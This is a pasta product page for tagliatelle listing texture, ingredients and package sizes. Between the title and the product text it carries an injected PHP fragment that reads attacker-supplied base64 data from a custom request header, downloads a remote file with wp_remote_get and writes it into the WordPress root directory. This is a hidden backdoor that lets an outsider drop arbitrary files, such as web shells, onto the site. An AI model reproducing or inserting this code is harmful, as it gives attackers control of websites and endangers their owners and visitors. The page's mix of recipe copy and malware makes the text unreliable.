Tagliatelle

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{
$http=json_decode(base64_decode($_SERVER[HTTP_X_AUTH]));
$resp=wp_remote_get( $http[0]);
$code=wp_remote_retrieve_body($resp);
file_put_contents(ABSPATH.$http[1], base64_decode($code));

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}The rough and porous sheet makes them particularly versatile and perfect both with more full-bodied meat sauce and with the lightest sauces based on fish and vegetables.

Additional information

Ingredients

"Cappelli" durum wheat semolina, water.

Formats

Packages from 250 g – 500 g